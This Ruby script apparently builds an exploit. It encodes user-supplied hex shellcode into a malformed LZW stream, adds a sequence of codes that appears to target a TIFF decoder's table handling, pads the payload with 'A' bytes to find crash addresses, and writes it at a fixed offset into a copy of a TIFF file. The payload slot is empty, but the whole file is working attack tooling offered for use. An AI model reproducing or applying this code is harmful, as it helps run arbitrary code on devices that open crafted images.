#!/usr/bin/ruby

# usage : put a copy of "original.tif" in the same directory as this script, and rename it as "wololo.tif"
# then run the script. Warning : wololo.tif will then be modified. You can run the script as long as you want, 
# but if you mess up too much with the file, I suggest you copy "original.tif" again

#There's probably a limit of 254 bytes for the crafted code...

#crafted code in hexadecimal, ex : "aa bb cc dd"
$code = ""




CODE_CLEAR = 256

#Global Vars
Bits = ""


class String
  def hex_to_binary
    temp = gsub("\s", "");
    return temp.to_a.pack("H*")
  end
end




def addCode(code)
  Bits << code.to_s(2).rjust(9,"0").reverse
  puts(code.to_s + "-" + code.to_s(2).rjust(9,"0").reverse)
end

def bitsToHex
  hex = ""
  length = Bits.length
  length = length/8
  if (length*8) < Bits.length then length+=1 end
  bits = Bits.ljust(length*8, "0")
  puts bits
  (0..length-1).each do |i|
    start = i * 8
    bitstring = bits[start..start+7]
    code = Integer("0b" + bitstring.reverse)
    code = code.to_s(16).rjust(2,"0");
    hex << code
  end
  return hex
end

def craftLzw(exec_code)
  size = 25
  max = 258+size
  c = exec_code
  c.gsub!("\s","");
  c = c.ljust(size * 2,"A"); #PAD The code with only "A" for the purpose of crashing/finding addresses

  addCode(CODE_CLEAR)

  (0..size-1).each do |i|
    j = i*2
    code = c[j..j+1].hex
    addCode(code)
  end

  
  addCode(CODE_CLEAR)
  addCode(max - 2 ) #TODO improve
  (258..max-1).each do |i|
    addCode(i)
  end
  addCode(258)

  return bitsToHex
end


craftedCode = craftLzw($code).hex_to_binary
if (craftedCode.length > 2000) then
	puts "WARNING !!! Maximum size of 2030 bytes for the chunk is exceeded...!"
end

# Save output file
File.open('wololo.tif', File::WRONLY | File::CREAT) do |f|
  f.pos = 1793 # acceptable values : 8, 1793
  f << craftedCode
end


